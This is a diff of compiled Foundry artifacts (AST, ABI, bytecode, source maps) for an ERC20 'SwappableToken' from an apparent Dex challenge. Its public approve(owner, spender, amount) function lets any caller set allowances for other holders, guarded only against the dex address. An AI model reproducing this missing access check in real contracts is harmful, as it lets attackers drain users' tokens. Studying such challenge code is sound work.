(address,uint256)"}},"id":50820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1933:32:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50821,"nodeType":"ExpressionStatement","src":"1933:32:67"},{"expression":{"id":50824,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50822,"name":"_dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50801,"src":"1975:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50823,"name":"dexInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50803,"src":"1982:11:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1975:18:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50825,"nodeType":"ExpressionStatement","src":"1975:18:67"}]},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"id":50812,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50805,"src":"1905:4:67","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":50813,"name":"symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50807,"src":"1911:6:67","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"id":50814,"kind":"baseConstructorSpecifier","modifierName":{"id":50811,"name":"ERC20","nameLocations":["1899:5:67"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1899:5:67"},"nodeType":"ModifierInvocation","src":"1899:19:67"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50810,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50803,"mutability":"mutable","name":"dexInstance","nameLocation":"1813:11:67","nodeType":"VariableDeclaration","scope":50827,"src":"1805:19:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50802,"name":"address","nodeType":"ElementaryTypeName","src":"1805:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50805,"mutability":"mutable","name":"name","nameLocation":"1840:4:67","nodeType":"VariableDeclaration","scope":50827,"src":"1826:18:67","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":50804,"name":"string","nodeType":"ElementaryTypeName","src":"1826:6:67","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":50807,"mutability":"mutable","name":"symbol","nameLocation":"1860:6:67","nodeType":"VariableDeclaration","scope":50827,"src":"1846:20:67","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":50806,"name":"string","nodeType":"ElementaryTypeName","src":"1846:6:67","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":50809,"mutability":"mutable","name":"initialSupply","nameLocation":"1876:13:67","nodeType":"VariableDeclaration","scope":50827,"src":"1868:21:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50808,"name":"uint256","nodeType":"ElementaryTypeName","src":"1868:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1804:86:67"},"returnParameters":{"id":50815,"nodeType":"ParameterList","parameters":[],"src":"1923:0:67"},"scope":50853,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50852,"nodeType":"FunctionDefinition","src":"2006:178:67","nodes":[],"body":{"id":50851,"nodeType":"Block","src":"2078:106:67","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50839,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":50837,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50829,"src":"2096:5:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":50838,"name":"_dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50801,"src":"2105:4:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2096:13:67","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e76616c6964417070726f766572","id":50840,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2111:17:67","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb338f77770f4bebf08768ff981451eae87c07fdb0e2d78a2d7eae754baa53ce","typeString":"literal_string \"InvalidApprover\""},"value":"InvalidApprover"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_eb338f77770f4bebf08768ff981451eae87c07fdb0e2d78a2d7eae754baa53ce","typeString":"literal_string \"InvalidApprover\""}],"id":50836,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2088:7:67","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":50841,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2088:41:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50842,"nodeType":"ExpressionStatement","src":"2088:41:67"},{"expression":{"arguments":[{"id":50846,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50829,"src":"2154:5:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50847,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50831,"src":"2161:7:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50848,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50833,"src":"2170:6:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":50843,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2139:5:67","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_SwappableToken_$50853_$","typeString":"type(contract super SwappableToken)"}},"id":50845,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2145:8:67","memberName":"_approve","nodeType":"MemberAccess","referencedDeclaration":47795,"src":"2139:14:67","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":50849,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2139:38:67","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50850,"nodeType":"ExpressionStatement","src":"2139:38:67"}]},"functionSelector":"e1f21c67","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"2015:7:67","parameters":{"id":50834,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50829,"mutability":"mutable","name":"owner","nameLocation":"2031:5:67","nodeType":"VariableDeclaration","scope":50852,"src":"2023:13:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50828,"name":"address","nodeType":"ElementaryTypeName","src":"2023:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50831,"mutability":"mutable","name":"spender","nameLocation":"2046:7:67","nodeType":"VariableDeclaration","scope":50852,"src":"2038:15:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50830,"name":"address","nodeType":"ElementaryTypeName","src":"2038:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":50833,"mutability":"mutable","name":"amount","nameLocation":"2063:6:67","nodeType":"VariableDeclaration","scope":50852,"src":"2055:14:67","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50832,"name":"uint256","nodeType":"ElementaryTypeName","src":"2055:7:67","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2022:48:67"},"returnParameters":{"id":50835,"nodeType":"ParameterList","parameters":[],"src":"2078:0:67"},"scope":50853,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":50798,"name":"ERC20","nameLocations":["1754:5:67"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1754:5:67"},"id":50799,"nodeType":"InheritanceSpecifier","src":"1754:5:67"}],"canonicalName":"SwappableToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50853,47861,47964,47939,48281],"name":"SwappableToken","nameLocation":"1736:14:67","scope":50854,"usedErrors":[],"usedEvents":[47873,47882]}],"license":"MIT"},"id":67} \ No newline at end of file diff --git a/contracts/out/Dex.sol/SwappableToken.json b/contracts/out/Dex.sol/SwappableToken.json new file mode 100644 index 000000000..f89166723 --- /dev/null +++ b/contracts/out/Dex.sol/SwappableToken.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"dexInstance","type":"address","internalType":"address"},{"name":"name","type":"string","internalType":"string"},{"name":"symbol","type":"string","internalType":"string"},{"name":"initialSupply","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"approve","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"decreaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"subtractedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"increaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"addedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220afef22fd752b83761ebdc5d9105b781bc6a6b1dc6a16170befd4ad86594251b364736f6c63430008180033","sourceMap":"1727:459:67:-:0;;;1793:207;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1905:4;1911:6;2044:5:30;:13;1905:4:67;2044:5:30;:13;:::i;:::-;-1:-1:-1;2067:7:30;:17;2077:7;2067;:17;:::i;:::-;;1978:113;;1933:32:67::1;1939:10;1951:13;1933:5;;;:32;;:::i;:::-;-1:-1:-1::0;;1975:4:67::1;:18:::0;;-1:-1:-1;;;;;;1975:18:67::1;-1:-1:-1::0;;;;;1975:18:67;;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;1727:459:67;;8402:389:30;-1:-1:-1;;;;;8485:21:30;;8477:65;;;;-1:-1:-1;;;8477:65:30;;4548:2:155;8477:65:30;;;4530:21:155;4587:2;4567:18;;;4560:30;4626:33;4606:18;;;4599:61;4677:18;;8477:65:30;;;;;;;;8629:6;8613:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8645:18:30;;:9;:18;;;;;;;;;;:28;;8667:6;;8645:9;:28;;8667:6;;8645:28;:::i;:::-;;;;-1:-1:-1;;8688:37:30;;5079:25:155;;;-1:-1:-1;;;;;8688:37:30;;;8705:1;;8688:37;;5067:2:155;5052:18;8688:37:30;;;;;;;8402:389;;:::o;11786:121::-;;;;:::o;14:127:155:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:844;200:5;253:3;246:4;238:6;234:17;230:27;220:55;;271:1;268;261:12;220:55;294:13;;-1:-1:-1;;;;;356:10:155;;;353:36;;;369:18;;:::i;:::-;444:2;438:9;412:2;498:13;;-1:-1:-1;;494:22:155;;;518:2;490:31;486:40;474:53;;;542:18;;;562:22;;;539:46;536:72;;;588:18;;:::i;:::-;628:10;624:2;617:22;663:2;655:6;648:18;685:4;675:14;;732:3;725:4;720:2;712:6;708:15;704:26;701:35;698:55;;;749:1;746;739:12;698:55;771:1;762:10;;781:133;795:2;792:1;789:9;781:133;;;883:14;;;879:23;;873:30;852:14;;;848:23;;841:63;806:10;;;;781:133;;;958:1;951:4;946:2;938:6;934:15;930:26;923:37;978:6;969:15;;;;;;146:844;;;;:::o;995:791::-;1112:6;1120;1128;1136;1189:3;1177:9;1168:7;1164:23;1160:33;1157:53;;;1206:1;1203;1196:12;1157:53;1232:16;;-1:-1:-1;;;;;1277:31:155;;1267:42;;1257:70;;1323:1;1320;1313:12;1257:70;1395:2;1380:18;;1374:25;1346:5;;-1:-1:-1;;;;;;1448:14:155;;;1445:34;;;1475:1;1472;1465:12;1445:34;1498:61;1551:7;1542:6;1531:9;1527:22;1498:61;:::i;:::-;1488:71;;1605:2;1594:9;1590:18;1584:25;1568:41;;1634:2;1624:8;1621:16;1618:36;;;1650:1;1647;1640:12;1618:36;;1673:63;1728:7;1717:8;1706:9;1702:24;1673:63;:::i;:::-;1776:2;1761:18;;;;1755:25;995:791;;;;-1:-1:-1;;;;995:791:155:o;1791:380::-;1870:1;1866:12;;;;1913;;;1934:61;;1988:4;1980:6;1976:17;1966:27;;1934:61;2041:2;2033:6;2030:14;2010:18;2007:38;2004:161;;2087:10;2082:3;2078:20;2075:1;2068:31;2122:4;2119:1;2112:15;2150:4;2147:1;2140:15;2004:161;;1791:380;;;:::o;2302:518::-;2404:2;2399:3;2396:11;2393:421;;;2440:5;2437:1;2430:16;2484:4;2481:1;2471:18;2554:2;2542:10;2538:19;2535:1;2531:27;2525:4;2521:38;2590:4;2578:10;2575:20;2572:47;;;-1:-1:-1;2613:4:155;2572:47;2668:2;2663:3;2659:12;2656:1;2652:20;2646:4;2642:31;2632:41;;2723:81;2741:2;2734:5;2731:13;2723:81;;;2800:1;2786:16;;2767:1;2756:13;2723:81;;;2727:3;;2302:518;;;:::o;2996:1345::-;3116:10;;-1:-1:-1;;;;;3138:30:155;;3135:56;;;3171:18;;:::i;:::-;3200:97;3290:6;3250:38;3282:4;3276:11;3250:38;:::i;:::-;3244:4;3200:97;:::i;:::-;3352:4;;3409:2;3398:14;;3426:1;3421:663;;;;4128:1;4145:6;4142:89;;;-1:-1:-1;4197:19:155;;;4191:26;4142:89;-1:-1:-1;;2953:1:155;2949:11;;;2945:24;2941:29;2931:40;2977:1;2973:11;;;2928:57;4244:81;;3391:944;;3421:663;2249:1;2242:14;;;2286:4;2273:18;;-1:-1:-1;;3457:20:155;;;3575:236;3589:7;3586:1;3583:14;3575:236;;;3678:19;;;3672:26;3657:42;;3770:27;;;;3738:1;3726:14;;;;3605:19;;3575:236;;;3579:3;3839:6;3830:7;3827:19;3824:201;;;3900:19;;;3894:26;-1:-1:-1;;3983:1:155;3979:14;;;3995:3;3975:24;3971:37;3967:42;3952:58;3937:74;;3824:201;;;4071:1;4062:6;4059:1;4055:14;4051:22;4045:4;4038:36;3391:944;;;;;2996:1345;;:::o;4706:222::-;4771:9;;;4792:10;;;4789:133;;;4844:10;4839:3;4835:20;4832:1;4825:31;4879:4;4876:1;4869:15;4907:4;4904:1;4897:15;4789:133;4706:222;;;;:::o;4933:177::-;1727:459:67;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220afef22fd752b83761ebdc5d9105b781bc6a6b1dc6a16170befd4ad86594251b364736f6c63430008180033","sourceMap":"1727:459:67:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4433:197;;;;;;:::i;:::-;;:::i;:::-;;;1192:14:155;;1185:22;1167:41;;1155:2;1140:18;4433:197:30;1027:187:155;3244:106:30;3331:12;;3244:106;;;1365:25:155;;;1353:2;1338:18;3244:106:30;1219:177:155;5192:286:30;;;;;;:::i;:::-;;:::i;3093:91::-;;;3175:2;1876:36:155;;1864:2;1849:18;3093:91:30;1734:184:155;5873:234:30;;;;;;:::i;:::-;;:::i;3408:125::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3508:18:30;3482:7;3508:18;;;;;;;;;;;;3408:125;2367:102;;;:::i;6594:427::-;;;;;;:::i;:::-;;:::i;3729:189::-;;;;;;:::i;:::-;;:::i;3976:149::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4091:18:30;;;4065:7